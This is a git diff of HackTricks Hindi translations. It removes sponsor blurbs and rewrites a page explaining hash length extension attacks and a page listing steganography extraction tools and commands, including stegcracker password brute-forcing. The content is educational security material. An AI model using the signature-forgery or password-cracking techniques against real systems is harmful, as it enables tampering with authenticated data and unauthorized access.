diff --git a/README.md b/README.md index 21df00a2e..4ff1555ab 100644 --- a/README.md +++ b/README.md @@ -87,54 +87,20 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा *** -### [SerpApi](https://serpapi.com/) - -
- -SerpApi तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी को संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं। - -SerpApi की योजनाओं में से एक की सदस्यता में विभिन्न सर्च इंजनों को स्क्रैप करने के लिए 50 से अधिक विभिन्न APIs तक पहुँच शामिल है, जिसमें Google, Bing, Baidu, Yahoo, Yandex, और अधिक शामिल हैं।\ -अन्य प्रदाताओं के विपरीत, **SerpApi केवल ऑर्गेनिक परिणामों को स्क्रैप नहीं करता**। SerpApi प्रतिक्रियाएँ लगातार सभी विज्ञापनों, इनलाइन छवियों और वीडियो, ज्ञान ग्राफ़, और खोज परिणामों में मौजूद अन्य तत्वों और सुविधाओं को शामिल करती हैं। - -वर्तमान SerpApi ग्राहक **Apple, Shopify, और GrubHub** हैं।\ -अधिक जानकारी के लिए उनके [**ब्लॉग**](https://serpapi.com/blog/) पर जाएँ, या उनके [**प्लेग्राउंड**](https://serpapi.com/playground) में एक उदाहरण आज़माएँ।\ -आप **यहाँ** [**एक मुफ्त खाता बना सकते हैं**](https://serpapi.com/users/sign\_up)**।** - -*** - -### [Try Hard Security Group](https://discord.gg/tryhardsecurity) - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### [WebSec](https://websec.nl/)
-[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों को नवीनतम साइबर सुरक्षा खतरों से **सुरक्षित** करने में मदद करती है, **आक्रामक-सुरक्षा सेवाएँ** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ। +[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों को नवीनतम साइबर सुरक्षा खतरों से **सुरक्षित करने** में मदद करती है, **आक्रामक-सुरक्षा सेवाएं** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ। -WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका अर्थ है कि वे सब कुछ करते हैं; पेंटेस्टिंग, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ। +WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका मतलब है कि वे सब कुछ करते हैं; पेंटेस्टिंग, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ। -WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वासी है**, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएँगे!**" अधिक जानकारी के लिए उनके [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर नज़र डालें! +WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपने कौशल में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसका भुगतान नहीं करते!**" अधिक जानकारी के लिए उनके [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर नज़र डालें! -उपरोक्त के अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक है।** +उपरोक्त के अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक** है। {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **चुराने वाले मैलवेयर** द्वारा **समझौता** किया गया है। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चुराने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जाकर और उनके इंजन को **मुफ्त** में आज़मा सकते हैं: - -{% embed url="https://whiteintel.io" %} ## License & Disclaimer @@ -159,7 +125,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! * **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें ट्विटर पर फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* हैकिंग ट्रिक्स साझा करें द्वारा [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें। +* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। {% endhint %} diff --git a/crypto-and-stego/hash-length-extension-attack.md b/crypto-and-stego/hash-length-extension-attack.md index 5c997f15c..3eb583207 100644 --- a/crypto-and-stego/hash-length-extension-attack.md +++ b/crypto-and-stego/hash-length-extension-attack.md @@ -15,43 +15,30 @@ Learn & practice GCP Hacking: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ## Summary of the attack -कल्पना करें कि एक सर्वर कुछ **डेटा** को **जोड़कर** एक **गुप्त** को कुछ ज्ञात स्पष्ट पाठ डेटा पर **हैश** कर रहा है। यदि आप जानते हैं: +कल्पना कीजिए एक सर्वर है जो कुछ डेटा को एक ज्ञात स्पष्ट पाठ डेटा में एक गुप्त को जोड़कर और फिर उस डेटा को हैश करके **हस्ताक्षर** कर रहा है। यदि आप जानते हैं: -* **गुप्त की लंबाई** (यह एक दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है) +* **गुप्त की लंबाई** (इसे दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है) * **स्पष्ट पाठ डेटा** * **एल्गोरिदम (और यह इस हमले के प्रति संवेदनशील है)** * **पैडिंग ज्ञात है** * आमतौर पर एक डिफ़ॉल्ट का उपयोग किया जाता है, इसलिए यदि अन्य 3 आवश्यकताएँ पूरी होती हैं, तो यह भी है -* पैडिंग गुप्त+डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता है +* पैडिंग गुप्त + डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता है -तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़े गए डेटा** के लिए एक वैध **हस्ताक्षर** उत्पन्न करना संभव है। +तो, एक **हमलावर** के लिए **डेटा जोड़ना** और **पिछले डेटा + जोड़ा गया डेटा** के लिए एक वैध **हस्ताक्षर** उत्पन्न करना संभव है। ### How? -बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक को हैश** करके हैश उत्पन्न करते हैं, और फिर, **पहले से** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसे हैश करते हैं**। +बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक को हैश करके** हैश उत्पन्न करते हैं, और फिर, **पहले से** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसे हैश करते हैं**। -फिर, कल्पना करें कि गुप्त "गुप्त" है और डेटा "डेटा" है, "गुप्तडेटा" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\ +फिर, कल्पना कीजिए कि गुप्त "गुप्त" है और डेटा "डेटा" है, "गुप्तडेटा" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\ यदि एक हमलावर "जोड़ें" स्ट्रिंग को जोड़ना चाहता है, तो वह कर सकता है: * 64 "A"s का MD5 उत्पन्न करें * पहले से प्रारंभ किए गए हैश की स्थिति को 6036708eba0d11f6ef52ad44e8b74d5b में बदलें -* "जोड़ें" स्ट्रिंग को जोड़ें +* "जोड़ें" स्ट्रिंग जोड़ें * हैश को समाप्त करें और परिणामी हैश "गुप्त" + "डेटा" + "पैडिंग" + "जोड़ें" के लिए एक **वैध** होगा ### **Tool** @@ -62,17 +49,7 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार आप इस हमले को अच्छी तरह से समझा सकते हैं [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/crypto-and-stego/stego-tricks.md b/crypto-and-stego/stego-tricks.md index e005cc8af..0d2a93b3d 100644 --- a/crypto-and-stego/stego-tricks.md +++ b/crypto-and-stego/stego-tricks.md @@ -1,63 +1,55 @@ # Stego Tricks {% hint style="success" %} -**AWS हैकिंग सीखें और प्रैक्टिस करें:**[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -**GCP हैकिंग सीखें और प्रैक्टिस करें:** [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** को** **फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) **और** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github रेपो में।** +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## **फाइलों से डेटा निकालना** ### **Binwalk** -एक टूल जो एम्बेडेड छिपे फ़ाइलों और डेटा के लिए बाइनरी फ़ाइलों की खोज के लिए है। यह `apt` के माध्यम से स्थापित किया जाता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर उपलब्ध है। +एक उपकरण जो बाइनरी फाइलों में छिपी हुई फाइलों और डेटा की खोज करता है। इसे `apt` के माध्यम से स्थापित किया जाता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर उपलब्ध है। ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data binwalk --dd ".*" file # Extracts all data ``` -### **प्रमुख** +### **Foremost** -इसके हेडर्स और फुटर्स के आधार पर फाइलों को पुनः प्राप्त करता है, png छवियों के लिए उपयोगी। `apt` के माध्यम से स्थापित किया जाता है और इसका स्रोत [GitHub](https://github.com/korczis/foremost) पर उपलब्ध है। +हेडर और फुटर के आधार पर फ़ाइलों को पुनर्प्राप्त करता है, जो png छवियों के लिए उपयोगी है। इसे `apt` के माध्यम से स्थापित किया गया है, जिसका स्रोत [GitHub](https://github.com/korczis/foremost) पर है। ```bash foremost -i file # Extracts data ``` ### **Exiftool** -फ़ाइल मेटाडेटा देखने में मदद करता है, यहाँ उपलब्ध [है](https://www.sno.phy.queensu.ca/\~phil/exiftool/). +फाइल मेटाडेटा देखने में मदद करता है, उपलब्ध [यहाँ](https://www.sno.phy.queensu.ca/\~phil/exiftool/)। ```bash exiftool file # Shows the metadata ``` ### **Exiv2** -इसके लिए exiftool के समान, मेटाडेटा देखने के लिए। `apt` के माध्यम से इंस्टॉल किया जा सकता है, स्रोत [GitHub](https://github.com/Exiv2/exiv2) पर उपलब्ध है, और एक [आधिकारिक वेबसाइट](http://www.exiv2.org/) है। +Exiftool के समान, मेटाडेटा देखने के लिए। `apt` के माध्यम से स्थापित किया जा सकता है, स्रोत [GitHub](https://github.com/Exiv2/exiv2) पर है, और इसका [आधिकारिक वेबसाइट](http://www.exiv2.org/) है। ```bash exiv2 file # Shows the metadata ``` -### **फ़ाइल** +### **फाइल** -वह प्रकार की फ़ाइल की पहचान करें जिसका सामना कर रहे हैं। +आप जिस फाइल से निपट रहे हैं, उसके प्रकार की पहचान करें। ### **स्ट्रिंग्स** -फ़ाइल से पठनीय स्ट्रिंग्स निकालें, विभिन्न इन्कोडिंग सेटिंग का उपयोग करके आउटपुट को फ़िल्टर करने के लिए। +फाइलों से पठनीय स्ट्रिंग्स निकालता है, आउटपुट को फ़िल्टर करने के लिए विभिन्न एन्कोडिंग सेटिंग्स का उपयोग करता है। ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -69,164 +61,160 @@ strings -e b -n 6 file # 16bit strings (big-endian) strings -e L -n 6 file # 32bit strings (little-endian) strings -e B -n 6 file # 32bit strings (big-endian) ``` -### **तुलना (cmp)** +### **Comparison (cmp)** -एक संशोधित फ़ाइल की तुलना के लिए उपयोगी है जो ऑनलाइन मिली मूल संस्करण के साथ। +संशोधित फ़ाइल की तुलना ऑनलाइन पाए गए इसके मूल संस्करण से करने के लिए उपयोगी। ```bash cmp original.jpg stego.jpg -b -l ``` -## **पाठ में छिपी डेटा निकालना** +## **छिपे हुए डेटा को निकालना** -### **अंतरिक्ष में छिपा डेटा** +### **स्पेस में छिपा डेटा** -दृश्यमान रिक्त स्थानों में अदृश्य वर्णमालाएं जानकारी छुपा सकती है। इस डेटा को निकालने के लिए, [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) पर जाएं। +दृश्यमान रूप से खाली स्पेस में अदृश्य वर्ण जानकारी छिपा सकते हैं। इस डेटा को निकालने के लिए, [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) पर जाएं। ## **छवियों से डेटा निकालना** -### **ग्राफिकमैजिक के साथ छवि विवरणों की पहचान** +### **GraphicMagick के साथ छवि विवरण की पहचान करना** -[GraphicMagick](https://imagemagick.org/script/download.php) छवि फ़ाइल प्रकार निर्धारित करने और संभावित क्षति की पहचान करने के लिए सेवित करता है। निम्नलिखित कमांड को निष्पादित करें एक छवि की जांच करने के लिए: +[GraphicMagick](https://imagemagick.org/script/download.php) छवि फ़ाइल प्रकारों को निर्धारित करने और संभावित भ्रष्टाचार की पहचान करने के लिए कार्य करता है। एक छवि का निरीक्षण करने के लिए नीचे दिए गए कमांड को निष्पादित करें: ```bash ./magick identify -verbose stego.jpg ``` -एक क्षतिग्रस्त छवि पर मरम्मत करने के प्रयास में, मेटाडेटा टिप्पणी जोड़ना मददगार साबित हो सकता है: +एक क्षतिग्रस्त छवि की मरम्मत करने का प्रयास करने के लिए, एक मेटाडेटा टिप्पणी जोड़ना सहायक हो सकता है: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` -### **डेटा छुपाने के लिए Steghide** +### **Steghide for Data Concealment** -Steghide `JPEG, BMP, WAV, और AU` फ़ाइलों में डेटा छुपाने की सुविधा प्रदान करता है, जो एन्क्रिप्टेड डेटा को संबोधित और निकालने में सक्षम है। स्थापना `apt` का उपयोग करके सरल है, और इसका [स्रोत कोड GitHub पर उपलब्ध है](https://github.com/StefanoDeVuono/steghide)। +Steghide डेटा को `JPEG, BMP, WAV, और AU` फ़ाइलों के भीतर छिपाने की सुविधा प्रदान करता है, जो एन्क्रिप्टेड डेटा को एम्बेड और निकालने में सक्षम है। इंस्टॉलेशन `apt` का उपयोग करके सीधा है, और इसका [स्रोत कोड GitHub पर उपलब्ध है](https://github.com/StefanoDeVuono/steghide). -**कमांड:** +**Commands:** -* `steghide info file` यह दिखाता है कि क्या फ़ाइल में छुपा डेटा है। -* `steghide extract -sf file [--passphrase password]` छुपा हुआ डेटा निकालता है, पासवर्ड वैकल्पिक है। +* `steghide info file` यह प्रकट करता है कि क्या एक फ़ाइल में छिपा हुआ डेटा है। +* `steghide extract -sf file [--passphrase password]` छिपा हुआ डेटा निकालता है, पासवर्ड वैकल्पिक है। -वेब-आधारित निकासी के लिए, [इस वेबसाइट पर जाएं](https://futureboy.us/stegano/decinput.html)। +वेब-आधारित निष्कर्षण के लिए, [इस वेबसाइट](https://futureboy.us/stegano/decinput.html) पर जाएं। -**Stegcracker के साथ ब्रूटफ़ोर्स हमला:** +**Bruteforce Attack with Stegcracker:** -* Steghide पर पासवर्ड क्रैकिंग की कोशिश करने के लिए, निम्नलिखित रूप में [stegcracker](https://github.com/Paradoxis/StegCracker.git) का उपयोग करें: +* Steghide पर पासवर्ड क्रैक करने का प्रयास करने के लिए, [stegcracker](https://github.com/Paradoxis/StegCracker.git) का उपयोग करें: ```bash stegcracker [] ``` -### **PNG और BMP फ़ाइलों के लिए zsteg** +### **zsteg for PNG and BMP Files** -zsteg PNG और BMP फ़ाइलों में छिपी डेटा का पता लगाने में विशेषज्ञ है। स्थापना `gem install zsteg` के माध्यम से की जाती है, जिसका [GitHub पर स्रोत](https://github.com/zed-0xff/zsteg) है। +zsteg PNG और BMP फ़ाइलों में छिपे डेटा को उजागर करने में विशेषज्ञता रखता है। स्थापना `gem install zsteg` के माध्यम से की जाती है, इसके [source on GitHub](https://github.com/zed-0xff/zsteg) पर। -**कमांड:** +**Commands:** -* `zsteg -a फ़ाइल` फ़ाइल पर सभी पहचान विधियों को लागू करता है। -* `zsteg -E फ़ाइल` डेटा निकालने के लिए एक payload निर्दिष्ट करता है। +* `zsteg -a file` एक फ़ाइल पर सभी पहचान विधियों को लागू करता है। +* `zsteg -E file` डेटा निष्कर्षण के लिए एक पेलोड निर्दिष्ट करता है। -### **StegoVeritas और Stegsolve** +### **StegoVeritas and Stegsolve** -**stegoVeritas** मेटाडेटा की जांच करता है, छवि परिवर्तन करता है, और अन्य सुविधाओं के बीच LSB ब्रूट फोर्सिंग लागू करता है। सभी विकल्पों की पूरी सूची के लिए `stegoveritas.py -h` का उपयोग करें और सभी जांचों को क्रियान्वित करने के लिए `stegoveritas.py stego.jpg` का उपयोग करें। +**stegoVeritas** मेटाडेटा की जांच करता है, छवि रूपांतरण करता है, और अन्य सुविधाओं के बीच LSB ब्रूट फोर्सिंग लागू करता है। विकल्पों की पूरी सूची के लिए `stegoveritas.py -h` का उपयोग करें और सभी जांचों को निष्पादित करने के लिए `stegoveritas.py stego.jpg` का उपयोग करें। -**Stegsolve** विभिन्न रंग फ़िल्टर लागू करता है ताकि छवियों में छिपी पाठ या संदेश प्रकट हो सकें। यह [GitHub पर उपलब्ध](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) है। +**Stegsolve** छवियों के भीतर छिपे पाठ या संदेशों को प्रकट करने के लिए विभिन्न रंग फ़िल्टर लागू करता है। यह [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) पर उपलब्ध है। -### **छिपी सामग्री का पता लगाने के लिए FFT** +### **FFT for Hidden Content Detection** -फास्ट फ़ूरियर परिवर्तन (FFT) तकनीक छवियों में छिपी सामग्री को प्रकट कर सकती है। उपयोगी संसाधन शामिल हैं: +Fast Fourier Transform (FFT) तकनीकें छवियों में छिपे हुए सामग्री को उजागर कर सकती हैं। उपयोगी संसाधनों में शामिल हैं: -* [EPFL डेमो](http://bigwww.epfl.ch/demo/ip/demos/FFT/) +* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) * [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) -* [GitHub पर FFTStegPic](https://github.com/0xcomposure/FFTStegPic) +* [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic) -### **ऑडियो और छवि फ़ाइलों के लिए Stegpy** +### **Stegpy for Audio and Image Files** -Stegpy छवि और ऑडियो फ़ाइलों में जानकारी एम्बेड करने की अनुमति देता है, PNG, BMP, GIF, WebP, और WAV जैसे प्रारूपों का समर्थन करता है। यह [GitHub पर उपलब्ध](https://github.com/dhsdshdhk/stegpy) है। +Stegpy छवि और ऑडियो फ़ाइलों में जानकारी को एम्बेड करने की अनुमति देता है, जो PNG, BMP, GIF, WebP, और WAV जैसे प्रारूपों का समर्थन करता है। यह [GitHub](https://github.com/dhsdshdhk/stegpy) पर उपलब्ध है। -### **PNG फ़ाइल विश्लेषण के लिए Pngcheck** +### **Pngcheck for PNG File Analysis** -PNG फ़ाइलों का विश्लेषण करने या उनकी प्रामाणिकता की पुष्टि करने के लिए, इस्तेमाल करें: +PNG फ़ाइलों का विश्लेषण करने या उनकी प्रामाणिकता को मान्य करने के लिए, उपयोग करें: ```bash apt-get install pngcheck pngcheck stego.png ``` ### **छवि विश्लेषण के लिए अतिरिक्त उपकरण** -और अधिक अन्वेषण के लिए, निम्नलिखित पर जाएं: +अधिक अन्वेषण के लिए, विचार करें: -* [मैजिक आई सॉल्वर](http://magiceye.ecksdee.co.uk/) -* [छवि त्रुटि स्तर विश्लेषण](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) -* [आउटगेस](https://github.com/resurrecting-open-source-projects/outguess) -* [ओपनस्टेगो](https://www.openstego.com/) +* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) +* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) +* [Outguess](https://github.com/resurrecting-open-source-projects/outguess) +* [OpenStego](https://www.openstego.com/) * [DIIT](https://diit.sourceforge.net/) ## **ऑडियो से डेटा निकालना** -**ऑडियो स्टेगनोग्राफी** ध्वनि फ़ाइलों में जानकारी छुपाने के लिए एक अद्वितीय विधि प्रदान करती है। छुपी हुई सामग्री को समाहित करने या पुनः प्राप्त करने के लिए विभिन्न उपकरणों का उपयोग किया जाता है। +**ऑडियो स्टेगनोग्राफी** ध्वनि फ़ाइलों के भीतर जानकारी छिपाने के लिए एक अनूठा तरीका प्रदान करती है। छिपी हुई सामग्री को एम्बेड करने या पुनर्प्राप्त करने के लिए विभिन्न उपकरणों का उपयोग किया जाता है। ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide एक बहुमुखी उपकरण है जो डेटा को JPEG, BMP, WAV, और AU फ़ाइलों में छुपाने के लिए डिज़ाइन किया गया है। विस्तृत निर्देश [stego tricks documentation](stego-tricks.md#steghide) में उपलब्ध हैं। +Steghide एक बहुपरकारी उपकरण है जिसे JPEG, BMP, WAV, और AU फ़ाइलों में डेटा छिपाने के लिए डिज़ाइन किया गया है। विस्तृत निर्देश [stego tricks documentation](stego-tricks.md#steghide) में प्रदान किए गए हैं। ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -यह उपकरण PNG, BMP, GIF, WebP, और WAV जैसे विभिन्न प्रारूपों के साथ संगत है। अधिक जानकारी के लिए, [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) का संदर्भ दें। +यह उपकरण PNG, BMP, GIF, WebP, और WAV सहित विभिन्न प्रारूपों के साथ संगत है। अधिक जानकारी के लिए, [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) देखें। ### **ffmpeg** -ffmpeg ऑडियो फ़ाइलों की अखंडता का मूल्यांकन करने के लिए महत्वपूर्ण है, विस्तृत जानकारी को हाइलाइट करने और किसी भी असंगतियों को पहचानने के लिए। +ffmpeg ऑडियो फ़ाइलों की अखंडता का आकलन करने के लिए महत्वपूर्ण है, विस्तृत जानकारी को उजागर करता है और किसी भी विसंगतियों को इंगित करता है। ```bash ffmpeg -v info -i stego.mp3 -f null - ``` ### **WavSteg (WAV)** -WavSteg WAV फ़ाइलों में डेटा छुपाने और निकालने में उत्कृष्ट है जो कम महत्वपूर्ण बिट रणनीति का उपयोग करता है। यह [GitHub](https://github.com/ragibson/Steganography#WavSteg) पर उपलब्ध है। आज्ञाएँ शामिल हैं: +WavSteg WAV फ़ाइलों के भीतर डेटा को छिपाने और निकालने में सबसे कम महत्वपूर्ण बिट रणनीति का उपयोग करके उत्कृष्ट है। यह [GitHub](https://github.com/ragibson/Steganography#WavSteg) पर उपलब्ध है। कमांड में शामिल हैं: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` -### **डीपसाउंड** +### **Deepsound** -डीपसाउंड AES-256 का उपयोग करके ध्वनि फ़ाइलों में जानकारी का एन्क्रिप्शन और पहचान करने की अनुमति देता है। इसे [आधिकारिक पृष्ठ](http://jpinsoft.net/deepsound/download.aspx) से डाउनलोड किया जा सकता है। +Deepsound ध्वनि फ़ाइलों के भीतर जानकारी के एन्क्रिप्शन और पहचान की अनुमति देता है, जो AES-256 का उपयोग करता है। इसे [आधिकारिक पृष्ठ](http://jpinsoft.net/deepsound/download.aspx) से डाउनलोड किया जा सकता है। -### **सॉनिक विज़ुअलाइज़र** +### **Sonic Visualizer** -ऑडियो फ़ाइलों की दृश्यात्मक और विश्लेषणात्मक जांच के लिए एक अमूल्य उपकरण, सॉनिक विज़ुअलाइज़र अन्य साधनों द्वारा अनुसंधान न किए जा सकने वाले छुपे हुए तत्वों को प्रकट कर सकता है। अधिक जानकारी के लिए [आधिकारिक वेबसाइट](https://www.sonicvisualiser.org/) पर जाएं। +ऑडियो फ़ाइलों के दृश्य और विश्लेषणात्मक निरीक्षण के लिए एक अमूल्य उपकरण, Sonic Visualizer छिपे हुए तत्वों को उजागर कर सकता है जो अन्य तरीकों से पता नहीं चल सकते। अधिक जानकारी के लिए [आधिकारिक वेबसाइट](https://www.sonicvisualiser.org/) पर जाएं। -### **डीटीएमएफ़ टोन्स - डायल टोन्स** +### **DTMF Tones - Dial Tones** -ऑडियो फ़ाइलों में डीटीएमएफ़ टोन्स का पता लगाना ऑनलाइन उपकरणों के माध्यम से संभव है, जैसे कि [यह डीटीएमएफ़ डिटेक्टर](https://unframework.github.io/dtmf-detect/) और [डायलएबीसी](http://dialabc.com/sound/detect/index.html)। +ऑडियो फ़ाइलों में DTMF टोन का पता लगाने के लिए ऑनलाइन उपकरणों का उपयोग किया जा सकता है जैसे [यह DTMF डिटेक्टर](https://unframework.github.io/dtmf-detect/) और [DialABC](http://dialabc.com/sound/detect/index.html)। -## **अन्य तकनीकें** +## **Other Techniques** -### **बाइनरी लेंथ एसक्यूआरटी - क्यूआर कोड** +### **Binary Length SQRT - QR Code** -पूर्णांक में वर्ग करने वाला बाइनरी डेटा एक क्यूआर कोड को प्रतिनिधित कर सकता है। इसे जांचने के लिए इस स्निपेट का उपयोग करें: +बाइनरी डेटा जो एक पूर्ण संख्या के लिए वर्ग करता है, एक QR कोड का प्रतिनिधित्व कर सकता है। जांचने के लिए इस स्निपेट का उपयोग 